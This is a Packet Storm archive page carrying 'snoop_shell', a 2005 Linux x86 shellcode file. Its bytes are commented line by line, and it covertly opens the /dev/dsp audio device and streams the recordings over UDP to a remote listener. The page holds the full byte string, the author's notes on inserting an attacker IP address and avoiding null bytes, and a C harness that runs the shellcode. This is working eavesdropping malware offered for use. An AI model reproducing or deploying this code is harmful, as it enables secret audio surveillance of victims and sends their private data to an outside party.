what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

devdsp-shellcode.txt

devdsp-shellcode.txt
Posted Nov 5, 2005
Authored by phar

Interesting snoop shellcode for /dev/dsp that is 172 bytes in size for linux/x86.

tags | x86, shellcode
systems | linux
SHA-256 | 93de8b0e73905521e654a7b38d9ceab202717b32e0e9c68b27515d9870e48ba1

devdsp-shellcode.txt

Change Mirror Download
/********************************************************************
hey folks, this is snoop_shell, short and simply it snoops on
/dev/dsp and after attempting to lower the audio quality
will stream any data read on this device over a udp stream
to a remote listening client.. (source should be available at stonedcoder.org)

the port that this will stream on is whatever the high half
of the ip address is, i figured this will always be over 1024
so the client will be usable without root privs.

at 172 bytes, its really bloated for shellcode, but if your
reading this anyway, you probably are just looking to have fun
with it..

remember you'll need to change the ip address before you
actually use it.. and if your unlucky enough to have an
ip address that contains a null.. well.. its on you to fix it..
but you can do that by simply rotating the ipaddress by a bit or
two..

mov $0xE8015180,%ebx #192.168.0.116
ror %ebx #shift right by one bit

no more null


phar[at]stonedcoder[dot]org
*********************************************************************/


char shellcode[] =
"\x31\xc9" //xor %ecx,%ecx
"\x51" //push %ecx # \x00
"\x68\x2f\x64\x73\x70" //push $0x7073642f # /dsp
"\x68\x2f\x64\x65\x76" //push $0x7665642f # /dev
"\x89\xe3" //mov %esp,%ebx
"\x89\xc8" //mov %ecx,%eax
"\xb1\x02" //mov $0x2,%cl
"\xb0\x05" //mov $0x5,%al
"\xcd\x80" //int $0x80 #open /dev/dsp for reading

"\x89\xc6" //mov %eax,%esi #preserve fd in esi

"\x31\xc9" //xor %ecx,%ecx
"\x51" //push %ecx
"\x31\xdb" //xor %ebx,%ebx
"\xb3\x02" //mov $0x2,%bl
"\x53" //push %ebx
"\x53" //push %ebx
"\x4b" //dec %ebx
"\x89\xe1" //mov %esp,%ecx
"\x89\xd8" //mov %ebx,%eax
"\xb0\x66" //mov $0x66,%al
"\xcd\x80" //int $0x80 #create a udp socket

"\x89\xc7" //mov %eax,%edi #preserve socket in edi

"\xc1\xc3\x04" //rol $0x4,%ebx
"\x53" //push %ebx
"\x89\xe2" //mov %esp,%edx
"\xb9\x05\x50\x04\xc0" //mov $0xc0045005,%ecx
"\x89\xf3" //mov %esi,%ebx
"\xb0\x36" //mov $0x36,%al
"\xcd\x80" //int $0x80 #ioctl on fd SOUND_PCM_WRITE_BITS (16 bits per samle)

"\xfe\xc0" //inc %al
"\x89\x04\x24" //mov %eax,(%esp)
"\xfe\xc1" //inc %cl
"\xb0\x36" //mov $0x36,%al
"\xcd\x80" //int $0x80 #ioctl on fd SOUND_PCM_WRITE_CHANNELS (1 channel)

"\xfe\xc0" //inc %al
"\xc1\xc0\x0d" //rol $0xd,%eax
"\x89\x04\x24" //mov %eax,(%esp)
"\xc1\xc8\x04" //ror $0x8,%eax
"\xb1\x02" //mov $0x2,%cl
"\xb0\x36" //mov $0x36,%al #ioctl on fd SOUND_PCM_WRITE_RATE (8khz)
"\xcd\x80" //int $0x80

"\x50" //push %eax
"\x50" //push %eax
"\x89\xc2" //mov %eax,%edx

/* prepare an area on the stack that looks like an struct in_addr */
/*your ipv4 ip address*/
"\xbb" "\xc0\xa8\x0f\x2e" //mov $0x7401a8c0,%ebx #your ipaddress would go here currently set to 192.168.1.116
"\x53" //push %ebx
"\xc1\xe3\x10" //shl $0x10,%ebx
"\xb3\x02" //mov $0x2,%bl
"\x53" //push %ebx #port and family, (we'll use use the hi half of the address for a port)

/* allocate 1025 byte buffer on the stack */
"\x89\xe3" //mov %esp,%ebx
"\x66\xba\x01\x04" //mov $0x401,%dx #create the space on the stack (1025 bytes)
"\x29\xd4" //sub %edx,%esp

"\x89\xe0" //mov %esp,%eax
"\x31\xc9" //xor %ecx,%ecx
"\xb1\x10" //mov $0x10,%cl
"\x51" //push %ecx
"\x53" //push %ebx
"\x31\xc9" //xor %ecx,%ecx
"\x51" //push %ecx
"\x52" //push %edx
"\x50" //push %eax
"\x57" //push %edi
"\x89\xc2" //mov %eax,%edx
"\x89\xcb" //mov %ecx,%ebx
"\x89\xc8" //mov %ecx,%eax
"\x89\xe1" //mov %esp,%ecx
"\xb3\x0b" //mov $0xb,%bl
"\xb0\x66" //mov $0x66,%al
"\x51" //push %ecx
"\x89\xe7" //mov %esp,%edi #registers and stack are prepared for call to sendto
"\x60" //pusha #push regs onto stack

"\x89\xf3" //mov %esi,%ebx
"\x89\xd1" //mov %edx,%ecx
"\x89\xd8" //mov %ebx,%eax
"\xb0\x03" //mov $0x3,%al
"\x89\xc2" //mov %eax,%edx
"\x66\xba\x01\x08" //mov $0x401,%dx #registers are prepared for call to read
"\x60" //pusha #push regs


"\x89\x27" //mov %esp,(%edi) #store this stack pointer in the memory allocated above
/*loop:*/ // #so that we can restore it for the loop

"\x61" //popa #pop prepared registers from stack
"\xcd\x80" //int $0x80 #call read

"\x61" //popa #pop registers again
"\xcd\x80" //int $0x80 #call sendto

"\x8b\x27" //mov (%edi),%esp #pulls from the memory allocated before and restores esp
"\xeb\xf6" //jmp 80483f5 <loop>
;



int main() {
int *ret;
char cnull = 0;

printf("shellcode_size: %u\n", sizeof(shellcode));
printf("contains nulls: ");
if(!memmem(shellcode,sizeof(shellcode),&cnull,1)){
printf("yes\n");
}else{
printf("no\n");
}

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}


Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close